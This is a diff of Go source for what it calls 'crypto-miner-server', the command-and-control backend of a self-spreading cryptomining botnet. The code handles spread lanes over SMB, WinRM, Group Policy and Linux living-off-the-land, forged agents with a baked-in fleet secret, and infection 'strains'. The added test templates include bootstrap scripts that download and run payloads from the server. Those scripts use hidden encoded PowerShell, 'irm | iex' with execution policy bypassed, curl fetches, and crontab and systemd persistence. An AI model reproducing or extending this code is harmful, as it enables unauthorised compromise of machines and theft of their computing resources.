// - windows → crypto-miner-agent.exe
|
||||||
// - mac/linux ? crypto-miner-agent (no extension)
|
// - mac/linux → crypto-miner-agent (no extension)
|
||||||
// agentBinarySearchDir returns the directory used to locate bundled agent binaries.
|
// agentBinarySearchDir returns the directory used to locate bundled agent binaries.
|
||||||
// Tests may override this to point at a temp tree instead of os.Executable()'s dir.
|
// Tests may override this to point at a temp tree instead of os.Executable()'s dir.
|
||||||
var agentBinarySearchDir = func() (string, error) {
|
var agentBinarySearchDir = func() (string, error) {
|
||||||
|
|||||||
@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
|
|||||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||||
|
|
||||||
dlURL := "/api/v1/builds/" + buildID + "/download"
|
dlURL := "/api/v1/builds/" + buildID + "/download"
|
||||||
|
|
||||||
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
|||||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||||
|
|
||||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||||
|
|
||||||
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||||
rec := httptest.NewRecorder()
|
rec := httptest.NewRecorder()
|
||||||
|
|||||||
@@ -28,10 +28,6 @@ type ServerPolicy struct {
|
|||||||
ErasureLanesEnabled bool
|
ErasureLanesEnabled bool
|
||||||
// FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests.
|
// FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests.
|
||||||
FleetTorrentEnabled bool
|
FleetTorrentEnabled bool
|
||||||
AwsS3ShardRegion string
|
|
||||||
AwsCloudFrontDomain string
|
|
||||||
FargateBurstCampaign bool
|
|
||||||
FargateBurstTTLHours int
|
|
||||||
// StrainHospiceWinRateThreshold auto-retires strains below this win rate when AI control is on.
|
// StrainHospiceWinRateThreshold auto-retires strains below this win rate when AI control is on.
|
||||||
StrainHospiceWinRateThreshold float64
|
StrainHospiceWinRateThreshold float64
|
||||||
// StrainHospiceMinAttempts is minimum spread outcomes before AI auto-hospice applies.
|
// StrainHospiceMinAttempts is minimum spread outcomes before AI auto-hospice applies.
|
||||||
|
|||||||
@@ -35,8 +35,6 @@ var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
|
|||||||
"Server": {Lane: "spread_smb_unc", Priority: 45},
|
"Server": {Lane: "spread_smb_unc", Priority: 45},
|
||||||
"sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
"sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
||||||
"ssh": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
"ssh": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
||||||
"AmazonSSMAgent": {Lane: "ssm_document", Priority: 28, Template: "ssm-document"},
|
|
||||||
"amazon-ssm-agent": {Lane: "ssm_document", Priority: 28, Template: "ssm-document"},
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// NormalizeServiceDeployAllowlist returns defaults when empty and normalizes lane ids.
|
// NormalizeServiceDeployAllowlist returns defaults when empty and normalizes lane ids.
|
||||||
@@ -63,8 +61,6 @@ func NormalizeServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[strin
|
|||||||
lane.Template = "gpo"
|
lane.Template = "gpo"
|
||||||
case "linux_lotl":
|
case "linux_lotl":
|
||||||
lane.Template = "linux-lotl"
|
lane.Template = "linux-lotl"
|
||||||
case "ssm_document":
|
|
||||||
lane.Template = "ssm-document"
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
out[name] = lane
|
out[name] = lane
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
package api
|
package api
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
@@ -12,60 +12,17 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
dbpkg "crypto-miner-server/internal/db"
|
dbpkg "crypto-miner-server/internal/db"
|
||||||
"crypto-miner-server/internal/erasure"
|
|
||||||
|
|
||||||
"github.com/go-chi/chi/v5"
|
"github.com/go-chi/chi/v5"
|
||||||
)
|
)
|
||||||
|
|
||||||
// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
|
// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
|
||||||
type SpreadHandler struct {
|
type SpreadHandler struct {
|
||||||
db *dbpkg.Database
|
db *dbpkg.Database
|
||||||
dataDir string
|
dataDir string
|
||||||
projectRoot string
|
projectRoot string
|
||||||
wsHub *WSHub
|
wsHub *WSHub
|
||||||
publicURL func() string
|
notesMu sync.RWMutex
|
||||||
erasureShards *erasure.ShardStore
|
|
||||||
deployPlan *DeployPlanHandler
|
|
||||||
s3CRRConfigFn func() erasure.S3ShardConfig
|
|
||||||
policyPathTracer *PathTracerHandler
|
|
||||||
policyFanoutCfgFn func() PolicyFanoutConfig
|
|
||||||
notesMu sync.RWMutex
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *SpreadHandler) BindErasureShards(store *erasure.ShardStore) {
|
|
||||||
if h != nil {
|
|
||||||
h.erasureShards = store
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *SpreadHandler) BindDeployPlan(handler *DeployPlanHandler) {
|
|
||||||
if h != nil {
|
|
||||||
h.deployPlan = handler
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *SpreadHandler) BindS3CRRConfig(fn func() erasure.S3ShardConfig) {
|
|
||||||
if h != nil {
|
|
||||||
h.s3CRRConfigFn = fn
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// GET /api/v1/spread/aws-s3-crr-template — operator-applied CRR JSON (no AWS API calls).
|
|
||||||
func (h *SpreadHandler) GetS3CRRTemplate(w http.ResponseWriter, r *http.Request) {
|
|
||||||
if h == nil || h.s3CRRConfigFn == nil {
|
|
||||||
http.Error(w, "s3 crr not configured", http.StatusServiceUnavailable)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
doc, err := erasure.BuildS3CRRRule(h.s3CRRConfigFn())
|
|
||||||
if err != nil {
|
|
||||||
http.Error(w, err.Error(), http.StatusBadRequest)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
writeJSON(w, map[string]interface{}{
|
|
||||||
"template": "templates/spread/aws/s3-crr-rule.json",
|
|
||||||
"rule": doc,
|
|
||||||
"notes": "Apply via S3 console or CLI; enables cross-region shard epidemic replication under shards/",
|
|
||||||
})
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {
|
func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {
|
||||||
|
|||||||
@@ -16,31 +16,134 @@ func writeDeploySpreadTemplates(t *testing.T, root string) {
|
|||||||
if err := os.MkdirAll(winrmDir, 0o755); err != nil {
|
if err := os.MkdirAll(winrmDir, 0o755); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(`Enable-PSRemoting`), 0o644); err != nil {
|
winrmScript := `# WinRM bootstrap
|
||||||
|
Enable-PSRemoting -Force -SkipNetworkProfileCheck
|
||||||
|
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
|
||||||
|
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
|
||||||
|
powershell.exe -EncodedCommand $encoded
|
||||||
|
`
|
||||||
|
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0o644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
linuxDir := filepath.Join(root, "templates", "spread", "linux")
|
||||||
|
if err := os.MkdirAll(linuxDir, 0o755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
linuxScript := `#!/bin/sh
|
||||||
|
LOTL_MODE='{{LOTL_MODE}}'
|
||||||
|
curl -fsSL "${SERVER}/get?os=linux{{QUERY_SUFFIX}}"
|
||||||
|
systemd-run --user --unit=aetherforge-worker.service
|
||||||
|
persist_crontab() { crontab -; }
|
||||||
|
`
|
||||||
|
if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0o755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
entDir := filepath.Join(root, "templates", "spread", "enterprise")
|
||||||
|
if err := os.MkdirAll(entDir, 0o755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
gpoScript := `# GPO computer startup script
|
||||||
|
$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}'
|
||||||
|
$env:AETHER_DEFER_MINING = '1'
|
||||||
|
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex"
|
||||||
|
`
|
||||||
|
if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0o644); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
ssmDir := filepath.Join(root, "templates", "spread", "ssm")
|
|
||||||
_ = os.MkdirAll(ssmDir, 0o755)
|
|
||||||
_ = os.WriteFile(filepath.Join(ssmDir, "document.json"), []byte(`{"schemaVersion":"2.2","mainSteps":[{"inputs":{"runCommand":["curl '{{MANIFEST_URL}}'","{{SHARD_FETCH_LINES}}","curl '{{FALLBACK_GET_URL}}'"]}}]}`), 0o644)
|
|
||||||
_ = os.WriteFile(filepath.Join(ssmDir, "run-command.json"), []byte(`{"DocumentName":"AetherForge-ErasureSpread-{{BUILD_ID}}"}`), 0o644)
|
|
||||||
_ = os.WriteFile(filepath.Join(ssmDir, "create-document.sh"), []byte(`#!/bin/sh`), 0o644)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDeployPlanSSMDocumentLane(t *testing.T) {
|
func TestSpreadTemplatePathsWinRMGPO(t *testing.T) {
|
||||||
|
cases := map[string]struct {
|
||||||
|
subdir string
|
||||||
|
zip string
|
||||||
|
}{
|
||||||
|
"winrm": {"winrm", "aetherforge-winrm-bootstrap.zip"},
|
||||||
|
"linux-lotl": {"linux", "aetherforge-linux-lotl.zip"},
|
||||||
|
"gpo": {"enterprise", "aetherforge-gpo-startup.zip"},
|
||||||
|
"enterprise-gpo": {"enterprise", "aetherforge-gpo-startup.zip"},
|
||||||
|
}
|
||||||
|
for tpl, want := range cases {
|
||||||
|
subdir, zip, err := spreadTemplatePaths(tpl)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("%q: %v", tpl, err)
|
||||||
|
}
|
||||||
|
if subdir != want.subdir || zip != want.zip {
|
||||||
|
t.Fatalf("%q => subdir=%q zip=%q want %+v", tpl, subdir, zip, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_, _, err := spreadTemplatePaths("bogus-lane")
|
||||||
|
if err == nil || !strings.Contains(err.Error(), "unknown template") {
|
||||||
|
t.Fatalf("err=%v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDeployPlanWinRMLane(t *testing.T) {
|
||||||
root := t.TempDir()
|
root := t.TempDir()
|
||||||
writeDeploySpreadTemplates(t, root)
|
writeDeploySpreadTemplates(t, root)
|
||||||
h := testDeployPlanHandlerWithRoot(t, root)
|
h := testDeployPlanHandlerWithRoot(t, root)
|
||||||
plan, err := h.buildPlan(deployPlanRequest{
|
plan, err := h.buildPlan(deployPlanRequest{
|
||||||
Platform: "linux", BuildID: "b1", Campaign: "ssm-lab",
|
Platform: "windows", BuildID: "b1", Campaign: "winrm-lab",
|
||||||
}, "AmazonSSMAgent", ServiceDeployLane{Lane: "ssm_document", Template: "ssm-document"})
|
}, "WinRM", ServiceDeployLane{Lane: "winrm", Template: "winrm"})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
if plan.JoinLane != "ssm_document" || plan.SSMDocument == "" {
|
if plan.JoinLane != "winrm" || plan.Script == "" {
|
||||||
t.Fatalf("plan=%+v", plan)
|
t.Fatalf("plan=%+v", plan)
|
||||||
}
|
}
|
||||||
if !strings.Contains(plan.SSMDocument, "schemaVersion") {
|
for _, marker := range []string{
|
||||||
t.Fatalf("doc=%s", plan.SSMDocument)
|
"http://127.0.0.1:8989/get?os=windows",
|
||||||
|
"--spread-install",
|
||||||
|
"--defer-mining",
|
||||||
|
"Enable-PSRemoting",
|
||||||
|
} {
|
||||||
|
if !strings.Contains(plan.Script, marker) {
|
||||||
|
t.Fatalf("script missing %q: %s", marker, plan.Script)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDeployPlanGPOLane(t *testing.T) {
|
||||||
|
root := t.TempDir()
|
||||||
|
writeDeploySpreadTemplates(t, root)
|
||||||
|
h := testDeployPlanHandlerWithRoot(t, root)
|
||||||
|
plan, err := h.buildPlan(deployPlanRequest{
|
||||||
|
Platform: "windows", BuildID: "b1", Campaign: "gpo-wave",
|
||||||
|
}, "gpsvc", ServiceDeployLane{Lane: "gpo", Template: "gpo"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if plan.JoinLane != "gpo" || plan.Script == "" {
|
||||||
|
t.Fatalf("plan=%+v", plan)
|
||||||
|
}
|
||||||
|
for _, marker := range []string{"/install.ps1", "AETHER_DEFER_MINING"} {
|
||||||
|
if !strings.Contains(plan.Script, marker) {
|
||||||
|
t.Fatalf("script missing %q: %s", marker, plan.Script)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !strings.Contains(plan.Script, "pin=b1") || !strings.Contains(plan.Script, "c=gpo-wave") {
|
||||||
|
t.Fatalf("script missing query suffix: %s", plan.Script)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDeployPlanLinuxLOTLLane(t *testing.T) {
|
||||||
|
root := t.TempDir()
|
||||||
|
writeDeploySpreadTemplates(t, root)
|
||||||
|
h := testDeployPlanHandlerWithRoot(t, root)
|
||||||
|
plan, err := h.buildPlan(deployPlanRequest{
|
||||||
|
Platform: "linux", BuildID: "b1", Campaign: "lotl-lab",
|
||||||
|
}, "sshd", ServiceDeployLane{Lane: "linux_lotl", Template: "linux-lotl"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if plan.JoinLane != "linux_lotl" || plan.Script == "" {
|
||||||
|
t.Fatalf("plan=%+v", plan)
|
||||||
|
}
|
||||||
|
for _, marker := range []string{"systemd-run --user", "curl -fsSL", "systemd_run_user"} {
|
||||||
|
if !strings.Contains(plan.Script, marker) {
|
||||||
|
t.Fatalf("script missing %q: %s", marker, plan.Script)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -53,10 +156,22 @@ func testDeployPlanHandlerWithRoot(t *testing.T, projectRoot string) *DeployPlan
|
|||||||
}
|
}
|
||||||
t.Cleanup(func() { _ = database.Close() })
|
t.Cleanup(func() { _ = database.Close() })
|
||||||
buildDir := filepath.Join(dir, "builds", "b1")
|
buildDir := filepath.Join(dir, "builds", "b1")
|
||||||
_ = os.MkdirAll(buildDir, 0o755)
|
if err := os.MkdirAll(buildDir, 0o755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
artifact := filepath.Join(buildDir, "worker.exe")
|
artifact := filepath.Join(buildDir, "worker.exe")
|
||||||
_ = os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644)
|
if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil {
|
||||||
_ = database.InsertBuild(&models.BuildRecord{ID: "b1", Platform: "linux", FileName: "worker.exe", FilePath: artifact})
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := database.InsertBuild(&models.BuildRecord{
|
||||||
|
ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact,
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
cfgPath := filepath.Join(dir, "config.json")
|
||||||
|
if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
return NewDeployPlanHandler(database, dir, projectRoot,
|
return NewDeployPlanHandler(database, dir, projectRoot,
|
||||||
func() string { return "http://127.0.0.1:8989" },
|
func() string { return "http://127.0.0.1:8989" },
|
||||||
func() string { return "fleet-test" },
|
func() string { return "fleet-test" },
|
||||||
|
|||||||
@@ -100,7 +100,6 @@ func buildSpreadRouterInput(hub *WSHub, sessions []*TraceSession, targetSubnets
|
|||||||
|
|
||||||
in.LaneSuccess = collectLaneSuccessStats(hub)
|
in.LaneSuccess = collectLaneSuccessStats(hub)
|
||||||
in.ErasureLanesEnabled = hub.serverPolicySnapshot().ErasureLanesEnabled
|
in.ErasureLanesEnabled = hub.serverPolicySnapshot().ErasureLanesEnabled
|
||||||
in.FargateBurstActive = hub.fargateBurstActive()
|
|
||||||
return in
|
return in
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
package api
|
package api
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"crypto/subtle"
|
"crypto/subtle"
|
||||||
@@ -179,12 +179,6 @@ type WSHub struct {
|
|||||||
epidemiology *epidemiology.Tracker
|
epidemiology *epidemiology.Tracker
|
||||||
miningSurgery *miningsurgery.Tracker
|
miningSurgery *miningsurgery.Tracker
|
||||||
contingencyOrch *mining.ContingencyOrchestrator
|
contingencyOrch *mining.ContingencyOrchestrator
|
||||||
fargateBurstCampaign bool
|
|
||||||
fargateBurstExpiresAt time.Time
|
|
||||||
fargateBurstTTLHours int
|
|
||||||
policySnapshotToken string
|
|
||||||
policyEventBridgeRelayURL string
|
|
||||||
policyPublicBaseURL func() string
|
|
||||||
pingIntervalSec int
|
pingIntervalSec int
|
||||||
fleetSecret string // baked into forged agents; verified on WS connect
|
fleetSecret string // baked into forged agents; verified on WS connect
|
||||||
eventNotifier *alerts.Notifier
|
eventNotifier *alerts.Notifier
|
||||||
@@ -208,10 +202,6 @@ type WSHub struct {
|
|||||||
scoutConstellations *fleetai.ScoutConstellationRegistry
|
scoutConstellations *fleetai.ScoutConstellationRegistry
|
||||||
scoutAgents map[string]bool
|
scoutAgents map[string]bool
|
||||||
|
|
||||||
// Cloud venue biomes (EC2 agents reporting IMDS tags + Organizations OU).
|
|
||||||
cloudVenueMu sync.Mutex
|
|
||||||
cloudVenues *fleetai.CloudVenueRegistry
|
|
||||||
|
|
||||||
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
|
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
|
||||||
statsBatchMu sync.Mutex
|
statsBatchMu sync.Mutex
|
||||||
statsBatch map[string]json.RawMessage
|
statsBatch map[string]json.RawMessage
|
||||||
@@ -692,8 +682,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
||||||
SpreadGeneration int `json:"spread_generation,omitempty"`
|
SpreadGeneration int `json:"spread_generation,omitempty"`
|
||||||
SpreadStrain string `json:"spread_strain,omitempty"`
|
SpreadStrain string `json:"spread_strain,omitempty"`
|
||||||
GenesisSnapshotHash string `json:"genesis_snapshot_hash,omitempty"`
|
|
||||||
StrainCardID string `json:"strain_card_id,omitempty"`
|
|
||||||
FleetRole string `json:"fleet_role,omitempty"`
|
FleetRole string `json:"fleet_role,omitempty"`
|
||||||
SeederMode bool `json:"seeder_mode,omitempty"`
|
SeederMode bool `json:"seeder_mode,omitempty"`
|
||||||
}
|
}
|
||||||
@@ -856,9 +844,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
SpreadStrain: strings.TrimSpace(auth.SpreadStrain),
|
SpreadStrain: strings.TrimSpace(auth.SpreadStrain),
|
||||||
Capabilities: &caps,
|
Capabilities: &caps,
|
||||||
}
|
}
|
||||||
applyLaunchTemplateGenesisFirstAuth(agent, isNewAgent, launchTemplateAuthProbe{
|
|
||||||
JoinLane: auth.JoinLane, ParentAgentID: auth.ParentAgentID, GenesisSnapshotHash: auth.GenesisSnapshotHash,
|
|
||||||
})
|
|
||||||
|
|
||||||
if err := h.db.UpsertAgent(agent); err != nil {
|
if err := h.db.UpsertAgent(agent); err != nil {
|
||||||
log.Printf("Failed to upsert agent: %v", err)
|
log.Printf("Failed to upsert agent: %v", err)
|
||||||
@@ -953,7 +938,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
}
|
}
|
||||||
resp["triple_onion_policy"] = top
|
resp["triple_onion_policy"] = top
|
||||||
spreadPolicy := map[string]interface{}{}
|
spreadPolicy := map[string]interface{}{}
|
||||||
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled || policy.AwsS3ShardRegion != "" || policy.AwsCloudFrontDomain != "" {
|
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled {
|
||||||
spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled
|
spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled
|
||||||
spreadPolicy["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
|
spreadPolicy["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
|
||||||
if policy.HashrateGateSpreadMin > 0 {
|
if policy.HashrateGateSpreadMin > 0 {
|
||||||
@@ -962,28 +947,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
if policy.HashrateGateHPS > 0 {
|
if policy.HashrateGateHPS > 0 {
|
||||||
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
|
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
|
||||||
}
|
}
|
||||||
if policy.AwsS3ShardRegion != "" {
|
|
||||||
spreadPolicy["aws_s3_shard_region"] = policy.AwsS3ShardRegion
|
|
||||||
}
|
|
||||||
if policy.AwsCloudFrontDomain != "" {
|
|
||||||
spreadPolicy["aws_cloudfront_domain"] = policy.AwsCloudFrontDomain
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
if scoutPolicy := h.scoutSpreadPolicyForAuth(agentID); scoutPolicy != nil {
|
if scoutPolicy := h.scoutSpreadPolicyForAuth(agentID); scoutPolicy != nil {
|
||||||
for k, v := range scoutPolicy {
|
for k, v := range scoutPolicy {
|
||||||
spreadPolicy[k] = v
|
spreadPolicy[k] = v
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if cloudPolicy := h.cloudVenueSpreadPolicyForAuth(agentID); cloudPolicy != nil {
|
|
||||||
for k, v := range cloudPolicy {
|
|
||||||
spreadPolicy[k] = v
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if fanout := h.policyFanoutSpreadFields(); fanout != nil {
|
|
||||||
for k, v := range fanout {
|
|
||||||
spreadPolicy[k] = v
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if len(spreadPolicy) > 0 {
|
if len(spreadPolicy) > 0 {
|
||||||
resp["spread_policy"] = spreadPolicy
|
resp["spread_policy"] = spreadPolicy
|
||||||
}
|
}
|
||||||
@@ -1495,34 +1464,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount)
|
h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount)
|
||||||
}
|
}
|
||||||
|
|
||||||
case "cloud_venue_report":
|
|
||||||
if agentID == "" {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
var report struct {
|
|
||||||
CloudProvider string `json:"cloud_provider"`
|
|
||||||
Environment string `json:"environment"`
|
|
||||||
Workload string `json:"workload"`
|
|
||||||
InstanceType string `json:"instance_type"`
|
|
||||||
InstanceLifecycle string `json:"instance_lifecycle"`
|
|
||||||
OrganizationalUnit string `json:"organizational_unit"`
|
|
||||||
EC2Tags map[string]string `json:"ec2_tags"`
|
|
||||||
}
|
|
||||||
if err := json.Unmarshal(msg.Payload, &report); err != nil {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
if strings.TrimSpace(report.CloudProvider) == "" {
|
|
||||||
report.CloudProvider = "aws"
|
|
||||||
}
|
|
||||||
h.ingestCloudVenueReport(agentID, fleetai.CloudVenueReport{
|
|
||||||
Environment: report.Environment,
|
|
||||||
Workload: report.Workload,
|
|
||||||
InstanceType: report.InstanceType,
|
|
||||||
InstanceLifecycle: report.InstanceLifecycle,
|
|
||||||
OrganizationalUnit: report.OrganizationalUnit,
|
|
||||||
EC2Tags: report.EC2Tags,
|
|
||||||
})
|
|
||||||
|
|
||||||
case "ai_snapshot":
|
case "ai_snapshot":
|
||||||
if agentID == "" {
|
if agentID == "" {
|
||||||
continue
|
continue
|
||||||
|
|||||||
@@ -1,16 +1,17 @@
|
|||||||
package atlas
|
package atlas
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
|
||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// Fleet gossip kinds — shard DHT advertisements relayed fleet-wide (not LAN-only).
|
||||||
const (
|
const (
|
||||||
FleetGossipHaveShard = "have_shard"
|
FleetGossipHaveShard = "have_shard"
|
||||||
FleetGossipHealthy = "healthy"
|
FleetGossipHealthy = "healthy"
|
||||||
FleetGossipKnowNode = "know_node"
|
FleetGossipKnowNode = "know_node"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// FleetGossipRecord is one peer advertisement in the fleet torrent DHT.
|
||||||
type FleetGossipRecord struct {
|
type FleetGossipRecord struct {
|
||||||
Kind string `json:"kind"`
|
Kind string `json:"kind"`
|
||||||
AgentID string `json:"agent_id,omitempty"`
|
AgentID string `json:"agent_id,omitempty"`
|
||||||
@@ -18,21 +19,18 @@ type FleetGossipRecord struct {
|
|||||||
Token string `json:"token,omitempty"`
|
Token string `json:"token,omitempty"`
|
||||||
ShardIndex int `json:"shard_index,omitempty"`
|
ShardIndex int `json:"shard_index,omitempty"`
|
||||||
ShardHash string `json:"shard_hash,omitempty"`
|
ShardHash string `json:"shard_hash,omitempty"`
|
||||||
Region string `json:"region,omitempty"`
|
|
||||||
ShardAdvert string `json:"shard_advert,omitempty"`
|
|
||||||
TargetAgentID string `json:"target_agent_id,omitempty"`
|
TargetAgentID string `json:"target_agent_id,omitempty"`
|
||||||
Healthy bool `json:"healthy,omitempty"`
|
Healthy bool `json:"healthy,omitempty"`
|
||||||
FetchURL string `json:"fetch_url,omitempty"`
|
FetchURL string `json:"fetch_url,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// NormalizeFleetGossipRecord validates and trims one fleet gossip record.
|
||||||
func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
|
func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
|
||||||
r.Kind = strings.TrimSpace(strings.ToLower(r.Kind))
|
r.Kind = strings.TrimSpace(strings.ToLower(r.Kind))
|
||||||
r.AgentID = strings.TrimSpace(r.AgentID)
|
r.AgentID = strings.TrimSpace(r.AgentID)
|
||||||
r.Subnet = strings.TrimSpace(r.Subnet)
|
r.Subnet = strings.TrimSpace(r.Subnet)
|
||||||
r.Token = strings.TrimSpace(r.Token)
|
r.Token = strings.TrimSpace(r.Token)
|
||||||
r.ShardHash = strings.TrimSpace(strings.ToLower(r.ShardHash))
|
r.ShardHash = strings.TrimSpace(strings.ToLower(r.ShardHash))
|
||||||
r.Region = strings.TrimSpace(r.Region)
|
|
||||||
